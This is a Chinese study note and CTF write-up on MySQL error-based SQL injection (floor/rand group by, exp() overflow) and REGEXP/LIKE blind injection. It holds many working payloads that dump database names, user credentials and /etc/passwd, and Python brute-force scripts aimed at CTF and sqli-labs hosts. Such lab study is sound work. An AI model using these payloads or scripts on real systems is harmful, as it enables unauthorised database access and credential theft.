0x01 前言
本文的产生是由于刚刚刷PentesterLab靶场遇到的SQL注入问题,发现自己对SQL报错注入还是有一定的欠缺,故此来复习一波。
0x02 rand和order by报错注入
一般意义上来说,我们常用的显错注入手段是这两个,在mysql的官方文档中有这样一句
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
译文:
每次执行 WHERE 时,都会重新计算 WHERE 子句中的 RAND()。不能在 ORDER BY 子句中使用带有 RAND() 值的列,因为 ORDER BY 会多次计算该列。
也就是说不能作为order by的条件字段,group by同理,所以有如下payload:
and
+
1
=
2
+
UNION
+
SELECT
+
1
+
FROM
+(
select
+
count
(*),concat(
floor
(rand(
0
)*
2
),(
select
+concat(
0x5f
,database(),
0x5f
,
user
(),
0x5f
,version())))a+
from
+information_schema.tables+
group
+
by
+a)b
--
其中a为:
concat(
floor
(rand(
0
)*
2
),(
select
+concat(
0x5f
,database(),
0x5f
,
user
(),
0x5f
,version())))
后面又group by a,所以会爆出
Duplicate entry ‘XXXXXXXXXX’ for key ‘group_key’
译文:
密钥“group_key”的条目“XXXXXXXXXX”重复
其中XXXXX就是0x5f,database(),0x5f,user(),0x5f,version()
的内容,这样一步步就能拿到想要的信息
在前面的payload中其实还有个很重要的函数是floor()取整,在之前的文章中研究过,floor(rand(0)*2)这样会产生重复的随机数,从而在order by时候报错。
接下来详细分析一波上述payload的原理:
Floor()函数
floor(),rand(),count(),group by联合使用:
floor():向下取整
rand():生成一个0-1之间的随机数,不包括0和1
count(*):统计某个表下面一共有多少记录
group by XXX:按照一定的规则对XXX进行排序
报错原理:group by和rand()联合使用的时候,如果临时表中没有该主键,则再插入的之前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格之中,导致主键重复,然后报错。
上述是这些函数的简单用法,以下不想费劲搭环境了,直接照搬师傅的了。。。
在这里使用group by的时候回生成一张临时表,也叫做虚拟表,而且表都是有主键的,作为主键的列是不能由重复的,好比第一个值的主键为1,那么就不能再有主键为1的值了,接下来可以再是2、3…
可以看到上述两幅图片中第二幅图片的序列明显更规律(也就是伪序列)
首先这是一个虚拟表,自然就有主键。当使用group by去读这些数据的时候,好比上面这个伪随机序列,读完第一列,发现主键之中没有0这个数字,但由于rand的存在,他不会立刻插入,而是会继续运算一次rand函数,然后经过floor之后0变成了1,随后率先插入的数字便成了1。然后取第二条数据,此时floor之后为数字1,但该虚拟表中已经有了1,则该数字1对应的值自增1,继续从from的表中取第三条记录,再次计算floor(rand(0)*2),结果为0,由于表中不存在数字0,则继续rand一次,经过floor之后成了1,但根据特性,该数字1会硬插入该虚拟表中,导致了数字1的重复,最终报错
这里是个例子,将user()的位置换做别的,就可以显示出别的错误了。爆库:
可以看到使用的security,后面的数字1是rand()函数产生的。
这里可以看到具体信息了。其实就是利用了count的统计与group by的合作,然后基于主键唯一的机制,然后造成了这个错误。
模板payload大致如下:
?id=
1
and
1
=
2
UNION
SELECT
1
FROM
(
select
count
(*),concat(
floor
(rand(
0
)*
2
),(
select
concat(
0x5f
,database(),
0x5f
,
user
(),
0x5f
,version())))a
from
information_schema.tables
group
by
a)b; #第一种
?id=
1
' and (select 1 from(select count(*),concat(floor(rand(0)*2),(select concat(username,0x7e,password)from users limit 0,1))a from information_schema.tables group by a)b)--+ #第二种
?id=1'
and
(
select
1
from
(
select
count
(*),concat(
floor
(rand(
0
)*
2
),(
select
user
()))a
from
information_schema.tables
group
by
a)b)
--+ #第二种
?id=
1
' and (select 1 from(select count(*),concat(floor(rand(0)*2),(select user()))x from information_schema.tables group by x)b)--+
uname=hybcx&passwd=1'
union
select
count
(*),concat((
select
concat(username,
0x7e
,password)
from
users),
floor
(rand(
0
)*
2
))x
from
information_schema.columns
group
by
x#&submit=Submit #第三种
只需将上面模板中的内容替换成为我们的查询payload即可,a与b均是字段别名
0x03 EXP函数报错注入
- • 作用:计算以e为底的幂值
- • 语法:exp(X)
- • 报错原理:当参数X超过了710之后,exp函数就会报错。
MySQL中的EXP()函数用于将E提升为指定数字X的幂,这里E(2.718281 ...)是自然对数的底数。
该函数可以用来进行 MySQL 报错注入。但是为什么会报错呢?我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。这个范围的极限是 709,当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误:
除了 exp() 之外,还有类似 pow() 之类的相似函数同样是可利用的,他们的原理相同。
- • 使用版本:MySQL5.5.5 及以上版本
现在我们已经知道当传递一个大于 709 的值时,函数 exp() 就会引起一个溢出错误。那么我们在实际利用中如何让 exp() 报错的同时返回我们想要得到的数据呢?
我们可以用 ~
运算符按位取反的方式得到一个最大值,该运算符也可以处理一个字符串,经过其处理的字符串会变成大一个很大整数足以超过 MySQL 的 Double 数组范围,从而报错输出:
如上图所示,成功报错并输出了数据。但是事实证明,在 MySQL>=5.5.53 之后,exp() 报错不能返回我们的查询结果,而只会得到一个报错:
下面由于实操的时候在安装MySQL低版本总是报错,我就直接照搬了(见谅~)
注出数据
- • 得到表名:
mysql>
select
exp
(~(
select
*
from
(
select
group_concat(table_name)
from
information_schema.tables
where
table_schema=database())x));
ERROR
1690
(
22003
):
DOUBLE
value
is
out
of
range
in
'exp(~((select '
flag,users
' from dual)))'
- • 得到列名:
mysql>
select
exp
(~(
select
*
from
(
select
group_concat(column_name)
from
information_schema.columns
where
table_name=
'users'
)x));
ERROR
1690
(
22003
):
DOUBLE
value
is
out
of
range
in
'exp(~((select '
id,username,password
' from dual)))'
- • 检索数据:
mysql>
select
exp
(~ (
select
*
from
(
select
group_concat(id,
0x7c
, username,
0x7c
, password)
from
users)x));
ERROR
1690
(
22003
):
DOUBLE
value
is
out
of
range
in
'exp(~((select '
1
|admin|
123456
,
2
|whoami|
657260
,
3
|bunny|
864379
' from dual)))'
- • 读取文件(有13行的限制):
mysql>
select
exp
(~(
select
*
from
(
select
load_file(
'/etc/passwd'
))x));
ERROR
1690
(
22003
):
DOUBLE
value
is
out
of
range
in
'exp(~((select '
root:x:
0
:
0
:root:/root:/bin/bash
daemon:x:
1
:
1
:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:
2
:
2
:bin:/bin:/usr/sbin/nologin
sys:x:
3
:
3
:sys:/dev:/usr/sbin/nologin
sync:x:
4
:
65534
:sync:/bin:/bin/sync
games:x:
5
:
60
:games:/usr/games:/usr/sbin/nologin
man:x:
6
:
12
:man:/var/cache/man:/usr/sbin/nologin
lp:x:
7
:
7
:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:
8
:
8
:mail:/var/mail:/usr/sbin/nologin
news:x:
9
:
9
:news:/var/spool/news:/usr/sbin/nologin
uucp:x:
10
:
10
:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:
13
:
13
:proxy:/bin:/usr/sbin/nologin
www-data:x:
33
:
33
:www-data:/var/www:/usr/sbin/nologin
' from dual)))'
这个查询可以从当前的上下文中 dump 出所有的 tables 与 columns,我们也可以 dump 出所有的数据库,但由于我们是通过报错来获取,因此它返回的结果有限:
mysql>
select
exp
(~(
select
*
from
(
select
(concat(@:=
0
,(
select
count
(*)
from
`information_schema`.columns
where
table_schema=database()
and
@:=concat(@,
0xa
,table_schema,
0x3a3a
,table_name,
0x3a3a
,column_name)),@)))x));
ERROR
1690
(
22003
):
DOUBLE
value
is
out
of
range
in
'exp(~((select '
000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password
' from dual)))'
那对于这个payload我有所疑惑,因此我询问了GPT(其中的@符号的作用)
select
exp
(~(
select
*
from
(
select
(concat(@:=
0
,(
select
count
(*)
from
information_schema.columns
where
table_schema=database()
and
@:=concat(@,
0xa
,table_schema,
0x3a3a
,table_name,
0x3a3a
,column_name)),@)))x));
在这个 SQL 查询语句中:
@:=concat(@,
0xa
,table_schema,
0x3a3a
,table_name,
0x3a3a
,column_name)
@
是一个用户变量,用于存储中间结果。在这里,@
的作用是在不同的步骤中保留中间拼接的字符串。
让我解释一下:
- 1.
@:=0
:这是一个初始化步骤,将用户变量@
设置为零。 - 2.
@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)
:在这一步,concat
函数用于将当前的@
值与新的字符串拼接,然后将结果再次存储在@
变量中。这样,@
变量逐渐被构建起来,包含了多次拼接的结果。
实际上,这两个 @
符号是同一个用户变量,只是在不同的时刻被使用。第一个 @
是在初始化时使用,而后续的 @
是在拼接字符串时使用,用于保留中间结果。
Insert位置注入
根据 Insert 位置的注入方式按部就班就好了。假设原来的插入语句如下:
insert
into
users(id,username,password)
values
(
4
,
'john'
,
'679237'
);
我们可以在 username 或 password 位置插入恶意的 exp() 语句进行报错注入,如下所示:
# 在username处插入:
john
' or exp(~(select * from(select user())x)),1);#,
则sql语句为:
insert into users(id,username,password) values(4,'
john
' or exp(~(select * from(select user())x)),1);#'
,
'679237'
);
mysql>
insert
into
users(id,username,password)
values
(
4
,
'john'
or
exp
(~(
select
*
from
(
select
user
())x)),
1
);#
','
679237
');;
ERROR 1690 (22003): DOUBLE value is out of range in '
exp
(~((
select
'root@localhost'
from
dual)))
'
爆出所有数据:
# 在username处插入:
john
' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#
mysql> insert into users(id,username,password) values(4,'john
' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)),1);#'
,
'679237'
);
ERROR
1690
(
22003
):
DOUBLE
value
is
out
of
range
in
'exp(~((select '
000
ctf::flag::id
ctf::flag::flag
ctf::users::id
ctf::users::username
ctf::users::password
' from dual)))'
Update位置注入
根据 Update 位置的注入方式按部就班就好了。假设原来的插入语句如下:
update
users
set
password=
'new_value'
WHERE
username =
'admin'
;
我们可以在 new_value 或后面的 where 子句处插入恶意的 exp() 语句进行报错注入,如下所示:
# 在new_value处插入:
abc
' or exp(~(select * from(select user())x))#,
则sql语句为: update users set password='
abc
' or exp(~(select * from(select user())x))# WHERE username = '
admin
';
mysql> update users set password='abc
' or exp(~(select * from(select user())x));# WHERE username = '
admin
';
ERROR 1690 (22003): DOUBLE value is out of range in '
exp
(~((
select
'root@localhost'
from
dual)))
'
exp() 函数进行盲注
有的登录逻辑会根据 sql 语句的报错与否返回不同的结果,如果我们可以控制这里得报错的话便可以进行盲注。下面我们通过一个 CTF 例题来进行详细探究。
2021 虎符杯 CTF Finalweb Hatenum
进入题目是一个登录页面:(对我来说有点难度,只能基本抄wp了)
我们先分析一波题目给的源码
home.php
<?php
require_once
(
'config.php'
);
if
(!
$_SESSION
[
'username'
]){
header
(
'location:index.php'
);
}
if
(
$_SESSION
[
'username'
]==
'admin'
){
echo
file_get_contents
(
'/flag'
);
}
else
{
echo
'hello '
.
$_SESSION
[
'username'
];
}
?>
这里说如果我们存储在session变量中的username=admin的话就给flag
config.php
<?php
error_reporting
(
0
);
session_start
();
class
User
{
//数据库配置信息
public
$host
=
"localhost"
;
public
$user
=
"root"
;
public
$pass
=
"123456"
;
public
$database
=
"ctf"
;
public
$conn
;
function
__construct
(){
//进行数据库连接
$this
->conn =
new
mysqli
(
$this
->host,
$this
->user,
$this
->pass,
$this
->database);
if
(
mysqli_connect_errno
()){
die
(
'connect error'
);
}
}
//查询用户输入的用户名是否在数据库中
function
find
(
$username
){
$res
=
$this
->conn->
query
(
"select * from users where username='
$username
'"
);
if
(
$res
->num_rows>
0
){
return
True;
}
else
{
return
False;
}
}
//注册功能部分
function
register
(
$username
,
$password
,
$code
){
if
(
$this
->conn->
query
(
"insert into users (username,password,code) values ('
$username
','
$password
','
$code
')"
)){
return
True;
}
else
{
return
False;
}
}
//如果查询到对应用户名,则成功登录
function
login
(
$username
,
$password
,
$code
){
$res
=
$this
->conn->
query
(
"select * from users where username='
$username
' and password='
$password
'"
);
if
(
$this
->conn->error){
return
'error'
;
}
else
{
$content
=
$res
->
fetch_array
();
if
(
$content
[
'code'
]===
$_POST
[
'code'
]){
$_SESSION
[
'username'
] =
$content
[
'username'
];
return
'success'
;
}
else
{
return
'fail'
;
}
}
}
}
//进行了很有力的过滤,不过没有过滤与()
function
sql_waf
(
$str
){
if
(
preg_match
(
'/union|select|or|and|'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |*|,|;|r|n|t|substr|right|left|mid/i'
,
$str
)){
die
(
'Hack detected'
);
}
}
function
num_waf
(
$str
){
if
(
preg_match
(
'/d{9}|0x[0-9a-f]{9}/i'
,
$str
)){
die
(
'Huge num detected'
);
}
}
function
array_waf
(
$arr
){
foreach
(
$arr
as
$key
=>
$value
) {
if
(
is_array
(
$value
)){
array_waf
(
$value
);
}
else
{
sql_waf
(
$value
);
num_waf
(
$value
);
}
}
}
那我们重点关注一下sql语句部分
$res
=
$this
->conn->
query
(
"select * from users where username='
$username
' and password='
$password
'"
);
这里似乎可以构造万能密码,payload似乎与我之前刷的靶场思路一致
username=
password=||
1
#
select
*
from
users
where
username=
'('
and
password=
')||1#'
括号内就是username的值,这样的话可以成功绕过
但这里有一个验证码code无从得知,只能看wp了
所以我们的思路是使用 rlike(即regexp)按照之前regexp匹配注入的方法,将 code 匹配出来。我们又在 login 函数中注意到:
当使用正则匹配时,使用REGEXP和NOT REGEXP操作符(或RLIKE和NOT RLIKE,功能是一样的)
LIKE要全部匹配才返回1,而RLIKE和REGEXP则是部分匹配即可返回1。
mysql>
select
'abcd'
like
'a'
;
+
-----------------+
|
'abcd'
like
'a'
|
+
-----------------+
|
0
|
+
-----------------+
1
row
in
set
(
0.04
sec)
mysql>
select
'abcd'
rlike
'a'
;
+
------------------+
|
'abcd'
rlike
'a'
|
+
------------------+
|
1
|
+
------------------+
1
row
in
set
(
0.03
sec)
mysql>
select
'abcd'
regexp
'a'
;
+
-------------------+
|
'abcd'
regexp
'a'
|
+
-------------------+
|
1
|
+
-------------------+
1
row
in
set
(
0.04
sec)
(好好好,又得学习一波regexp注入了~~~~)
if($this->conn->error){ // 如果
sql
语句报错就返回error
return
'error'
;
}
如果 sql 语句出现错误便返回字符串 "error",然后进入到 login.php 中就会返回 error。根据这里的特性,如果我们可以控制这里的报错的话,便可以进行盲注。
但是怎么构造呢?在网上的看到了大佬的思路是真的巧妙:
||
exp
(
710
-(... rlike ...))
即如果 (... rlike ...)
中的语句执行匹配后的结果为True,经过减号转换后为 exp(710-1)
后不会溢出;若为false,转换为 exp(710-0)
后则会溢出并报错。
大致的 payload 如下:
'username'
:
'admin'
,
'password'
:
'||exp(710-(code rlike binary {0}))#'
,
'code'
:
'1'
对于上述payload的解释(GPT):
select
(
select
database()) regexp
binary
'^sec'
例子如上,解释如下,大概binary关键字就是用来区分大小写的吧
这段 SQL 语句可以分为两部分,让我一步一步解释:
1. `(select database())`:这部分执行一个子查询,获取当前数据库的名称。
2. `regexp binary '^sec'`:这部分使用正则表达式进行匹配,并且使用 `binary` 进行二进制比较。
- `regexp` 是 MySQL 中用于执行正则表达式匹配的操作符。
- `binary` 是一个修饰符,用于表示要进行二进制比较。在这个上下文中,它确保正则表达式的匹配是对字节进行精确匹配,而不考虑字符的大小写或编码。
- `'^sec'` 是一个正则表达式模式,表示以 "sec" 开头的字符串。
综合起来,整个 SQL 语句的含义是:检查当前数据库的名称是否以 "sec" 开头。如果匹配成功,查询将返回 1,表示真(true);否则,返回 0,表示假(false)。
但这里题目过滤了引号,所以我们rlike无法直接引入%和^。按照之前的regexp注入操作我们可以将^连同后面的待猜测字符一块做Hex编码,之后进入数据库中MySQL会自动将16进制编码的字符转为对应的字符串
def
str2hex
(string):
# 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result =
''
for
i
in
string:
result +=
hex
(
ord
(i))
result = result.replace(
'0x'
,
''
)
return
'0x'
+ result
......
passwd = str2hex(
'^'
+ name + j)
payloads = payload.
format
(passwd).replace(
' '
,
chr
(
0x0c
))
postdata = {
'username'
:
'admin\'
,
'password'
: payloads,
'code'
:
'1'
}
题目还限制了 password 位置匹配的字符串长度,最长只能匹配 4 个字符,如果超过了 4 个则会返回 Huge num detected 错误(但我不知道为何师傅们都说最多只能4个字符,我看着正则当中是数字9,不应该是9个字符吗。。不理解)。
接着我幸运地找到了一个解释:
同时num_waf 有个判断十六进制位数不能超过9位,既字符串不能超过4位(一个字母对应2个十六进制数),所以在包含正则^以外的字符串超过3位时需要不断做替换,用3位字符串去匹配下一位
那这样的话我们便不能在 payload 里面使用 ^
了,也就没有办法在正则表达式中确定首位的位置,我们只能知道有这么几个连续的字符,就像下面这样:
mysql>
select
'flag{abcdefghijklmnopqrstuvwxyz}'
rlike
'ab'
;
+
-----------------------------------------------+
|
'flag{abcdefghijklmnopqrstuvwxyz}'
rlike
'ab'
|
+
-----------------------------------------------+
|
1
|
+
-----------------------------------------------+
1
row
in
set
(
0.04
sec)
mysql>
select
'flag{abcdefghijklmnopqrstuvwxyz}'
rlike
'lag{'
;
+
-------------------------------------------------+
|
'flag{abcdefghijklmnopqrstuvwxyz}'
rlike
'lag{'
|
+
-------------------------------------------------+
|
1
|
+
-------------------------------------------------+
1
row
in
set
(
0.03
sec)
师傅的爆破思路:先爆破出前三位来,然后再通过前 3 位爆第4位,再通过第2、3、4位爆第5位......
编写如下脚本进行爆破:
import
requests
import
string
def
str2hex
(string):
# 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result =
''
for
i
in
string:
result +=
hex
(
ord
(i))
result = result.replace(
'0x'
,
''
)
return
'0x'
+ result
strs = string.ascii_letters + string.digits +
'_'
url =
"http://690399e6-ab28-459d-ab40-789da08843fb.node4.buuoj.cn:81/login.php"
headers = {
'User-Agent'
:
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload =
'||exp(710-(code rlike binary {0}))#'
if
__name__ ==
"__main__"
:
name =
''
z =
3
for
i
in
range
(
1
,
40
):
for
j
in
strs:
passwd = str2hex(name + j)
payloads = payload.
format
(passwd).replace(
' '
,
chr
(
0x0c
))
#0x0c代替空格
postdata = {
'username'
:
'admin\'
,
'password'
: payloads,
'code'
:
'1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=
False
)
#print(r.text)
if
"fail"
in
r.text:
name += j
print
(j, end=
''
)
break
if
len
(name) >=
3
:
for
i
in
range
(
1
,
40
):
for
j
in
strs:
passwd = str2hex(name[z -
3
:z] + j)
# ergh
payloads = payload.
format
(passwd).replace(
' '
,
chr
(
0x0c
))
postdata = {
'username'
:
'admin\'
,
'password'
: payloads,
'code'
:
'1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=
False
)
# print(r.text)
if
"fail"
in
r.text:
name += j
print
(j, end=
''
)
z +=
1
break
出结果了,别高兴的太早,因为这里陷入了一个死循环当中:
erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......
可以看到爆出 erghruigh2
之后不停地循环出现 uygh2
,所以我们可以推测出真正的 code 里面有两个 gh2
,其中位于前面的那个 gh2
后面紧跟着一个 u
,即 gh2u
。后面那个 gh2
后面跟的是那个字符我们还不能确定,那我们便可以测试一下除了 u
以外的其他字符,经测试第二个 gh2
后面跟的字符是 3
,即 gh23
,然后继续根据 h23
爆破接下来的字符就行了,最后得到的 code 如下:
erghruigh2uygh23uiu32ig
不过这里我也是想不通最后这个死循环的解决原理。。。
然后直接登陆即可得到 flag:
接着我又找了几篇wp发现有位师傅直接从最后一个字符开始匹配,用到了$正则:
$ 是一个用于锚定模式结尾位置的元字符,用于确保匹配发生在输入字符串的末尾。
这样就不会有上述重复的问题,但是也要配合从第一位开始爆破的脚本,这样两者对比才可正确得出
import
requests
import
string
def
str2hex
(string):
# 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result =
''
for
i
in
string:
result +=
hex
(
ord
(i))
result = result.replace(
'0x'
,
''
)
return
'0x'
+ result
strs = string.ascii_letters + string.digits +
'_'
url =
"http://690399e6-ab28-459d-ab40-789da08843fb.node4.buuoj.cn:81/login.php"
headers = {
'User-Agent'
:
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload =
'||exp(710-(code rlike binary {0}))#'
tmp =
'$'
if
__name__ ==
"__main__"
:
name =
''
z =
3
for
i
in
range
(
1
,
40
):
for
j
in
strs:
passwd = str2hex(j + tmp)
payloads = payload.
format
(passwd).replace(
' '
,
chr
(
0x0c
))
postdata = {
'username'
:
'admin\'
,
'password'
: payloads,
'code'
:
'1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=
False
)
#print(r.text)
if
"fail"
in
r.text:
name += j
print
(j + tmp, name)
if
len
(tmp) ==
3
:
tmp = j + tmp[:-
1
]
else
:
tmp = j + tmp
break
如上图,最后简单反转一下字符串即可
最后会有如下:
erghruigh2uygh2uygh2uygh2uygh2
erghruigh23uiu32ig
我们两者对比得到erghruigh2uygh23uiu32ig
只能说脚本对我来说好难。。。接下来就是跟着编写脚本的时候了
import
requests
import
string
def
str2hex
(
str
):
result =
''
for
i
in
str
:
result +=
hex
(
ord
(i))
result = result.replace(
'0x'
,
''
)
return
'0x'
+ result
strs = string.ascii_letters + string.digits +
'_'
url =
'http://690399e6-ab28-459d-ab40-789da08843fb.node4.buuoj.cn:81/login.php'
headers = {
'User-Agent'
:
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload =
'||exp(710-(code rlike binary {0}))#'
tmp =
'^'
name =
''
for
i
in
range
(
1
,
40
):
for
j
in
strs:
passwd = str2hex(tmp + j)
payloads = payload.
format
(passwd).replace(
' '
,
chr
(
0x0c
))
data = {
'username'
:
'\'
,
'password'
: payloads,
'code'
:
'1'
}
req = requests.post(url, data = data, allow_redirects=
False
)
if
'fail'
in
req.text:
name += j
print
(tmp + j, name)
if
len
(tmp) ==
3
:
tmp = tmp[
1
:] + j
else
:
tmp += j
break
tmp =
'$'
name =
''
for
i
in
range
(
1
,
40
):
for
j
in
strs:
passwd = str2hex(j + tmp)
payloads = payload.
format
(passwd).replace(
' '
,
chr
(
0x0c
))
data = {
'username'
:
'\'
,
'password'
: payloads,
'code'
:
'1'
}
req = requests.post(url, data = data, allow_redirects=
False
)
if
'fail'
in
req.text:
name = j + name
print
(j + tmp, name)
if
len
(tmp) ==
3
:
tmp = j + tmp[:-
1
]
else
:
tmp = j + tmp
break
data = {
'username'
:
'\'
,
'password'
:
'||1#'
,
'code'
:
'erghruigh2uygh23uiu32ig'
}
req = requests.post(url, data=data)
print
(req.text)
完整代码如上,不过我自己在编写完成后,发现从后面开始匹配的方法,有一定几率一次成功。
0x04 REGEXP与LIKE注入
这里质量低下,知识点基本都是照搬的,有的只是自己的思考和实操罢了
REGEXP注入分析
注入原理
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。
1、基本注入
select
(
select
语句) regexp
'正则'
正常的查询语句:
select
username
from
users
where
id=
1
;
(1)正则注入,若匹配则返回1,不匹配返回0
select
(
select
username
from
users
where
id=
1
) regexp
'^a'
;
mysql>
select
username
from
users
where
id=
1
;
+
----------+
| username |
+
----------+
| Dumb |
+
----------+
1
row
in
set
(
0.11
sec)
mysql>
select
(
select
username
from
users
where
id=
1
) regexp
'^D'
;
+
-----------------------------------------------------+
| (
select
username
from
users
where
id=
1
) regexp
'^D'
|
+
-----------------------------------------------------+
|
1
|
+
-----------------------------------------------------+
1
row
in
set
(
0.04
sec)
mysql>
select
(
select
username
from
users
where
id=
1
) regexp
'^a'
;
+
-----------------------------------------------------+
| (
select
username
from
users
where
id=
1
) regexp
'^a'
|
+
-----------------------------------------------------+
|
0
|
+
-----------------------------------------------------+
1
row
in
set
(
0.04
sec)
^
表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0
(2)regexp关键字还可以代替where条件里的=号
mysql>
select
password
from
users
where
id=
1
;
+
----------+
| password |
+
----------+
| Dumb |
+
----------+
1
row
in
set
(
0.05
sec)
mysql>
select
*
from
users
where
password regexp
'^Du'
;
+
----+----------+----------+
| id | username | password |
+
----+----------+----------+
|
1
| Dumb | Dumb |
|
12
| dhakkan | dumbo |
+
----+----------+----------+
2
rows
in
set
(
0.04
sec)
使用场景:
过滤了=、in、like
^
若被过滤,可使用$
来从后往前进行匹配(深有感悟啊~~),常用regexp正则语句:
regexp
'^[a-z]'
#判断一个表的第一个字符串是否在a-z中
regexp
'^r'
#判断第一个字符串是否为r
regexp
'^r[a-z]'
#判断一个表的第二个字符串是否在a-z中
(3)在联合查询中的使用
1
union
select
1
,database() regexp
'^s'
,
3
--+
上述password处只会显示1或者0,这样就能知道我们的regexp是否匹配成功。
2、REGEXP盲注
在sqli-labs靶场Less-8关进行测试
1.判断数据库长度
' or (length(database())=8)--+ 正常
2.判断数据库名
' or database() regexp '
^s
'--+ 正常
'
or
database() regexp
'y$'
--+ 正常
表名、字段名、数据内容不再赘述。很明显和普通的布尔盲注差不多,附上大师傅的脚本:
import
requests
import
string
strs = string.printable
url =
"http://x.x.x.x:8001/Less-8/index.php?id="
database1 =
"' or database() regexp '^{}'--+"
table1 =
"' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 =
"' or (select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 =
"' or (select username from users limit 0,1) regexp '^{}'--+"
payload = database1
if
__name__ ==
"__main__"
:
name =
''
for
i
in
range
(
1
,
40
):
char =
''
for
j
in
strs:
payloads = payload.
format
(name+j)
urls = url+payloads
r = requests.get(urls)
if
"You are in"
in
r.text:
name += j
print
(j,end=
''
)
char = j
break
if
char ==
'#'
:
break
LIKE注入分析
like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_
通配符允许匹配任何单个字符。
1、基本注入
1.like 's%'
判断第一个字符是否为s
1
union
select
1
,database()
like
's%'
,
3
--+
2.like 'se%'
判断前面两个字符串是否为se
1
union
select
1
,database()
like
'se%'
,
3
--+
3.like '%se%'
判断是否包含se两个字符串 --不过测试下来发现待测字符的开头一定要为正确的,否则页面一直返回0,也就是无法匹配类似%ecu%
这类字符
1
union
select
1
,database()
like
'%se%'
,
3
--+
4.like '_____'
判断是否为5个字符
1
union
select
1
,database()
like
'_____'
,
3
--+
5.like 's____'
判断第一个字符是否为s
1
union
select
1
,database()
like
's____'
,
3
--+
2、LIKE盲注
依旧在sqli-labs靶场Less-8关进行测试
1.判断数据库长度 可用length()函数,也可用_
,如:
' or database() like '
________
'--+
2.判断数据库名
' or database() like '
s%
'--+
也可用
'
or
database()
like
's_______'
--+
说明数据库名的第一个字符是s。数据表、字段、数据类似,把REGEXP盲注脚本改一下,于是成了LIKE盲注脚本:
import requests
import string
strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="
database1 = "' or database() like '{}%'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 1,1) like '{}%'--+"
data1 = "' or (select username from users limit 0,1) like '{}%'--+"
payload = database1
if __name__ == "__main__":
name =
''
for
i
in
range
(
1
,
40
):
char
=
''
for
j
in
strs:
payloads = payload.format(name+j)
urls = url+payloads
r = requests.get(urls)
if "You are in"
in
r.text:
name += j
print(j,
end
=
''
)
char
= j
break
if
char
==
'#'
:
break
3、REGEXP注入实战
BJDCTF 2nd 简单注入
发现提示
这里给出了sql语句
Only
u input the correct password
then
u can
get
the flag
and
p3rh4ps wants a girl friend.
select
*
from
users
where
username=
'$_POST["username"]'
and
password=
'$_POST["password"]'
;
很明显又是相同的套路,我们进行如下赋值:
username=haha
password=
'or 1#'
select
*
from
users
where
username=
'(haha'
and
password=
')or 1#'
; #括号只是一个提示作用
简单fuzz一下看一下过滤情况:
过滤的有:select、union、'、=、like等等
但是没过滤regexp
如上图发现页面有变化,接下来进一步测试
发现页面回显不一致,但始终只有这两条信息,这意味着我们需要进行盲注了,直接上脚本,这里我先尝试自己写一番
import
requests
import
string
def
str2hex
(
str
):
result =
''
for
i
in
str
:
result +=
hex
(
ord
(i))
result = result.replace(
'0x'
,
''
)
return
'0x'
+ result
strs = string.ascii_letters + string.digits
url =
"http://f973c801-88f4-44ee-9a5c-ec1911041314.node4.buuoj.cn:81/"
payload =
'or password regexp binary {}#'
headers = {
'User-Agent'
:
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
if
__name__ ==
"__main__"
:
name =
''
for
i
in
range
(
1
,
40
):
for
j
in
strs:
passwd = str2hex(
'^'
+ name + j)
payloads = payload.
format
(passwd)
data = {
'username'
:
'admin\'
,
'password'
: payloads
}
r = requests.post(url, data=data,headers=headers)
if
"BJD needs"
in
r.text:
name += j
print
(j,end=
''
)
break
成功得到密码,我们登录即可得到flag
0x05 后言
本次对于报错注入的学习有些许深刻,日后会随缘更新补充本文,希望可以对报错注入有一个完全的掌握。
0x06 参考文章
SQL报错注入(下)[1]
如何使用 MySQL exp() 函数进行 Sql 注入[2]
SQL 显错注入[3]
2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤[4]
[HFCTF2021]hatenum[5]
REGEXP注入与LIKE注入学习笔记[6]
引用链接
[1]
SQL报错注入(下): https://blog.csdn.net/ssslq/article/details/129285751
[2]
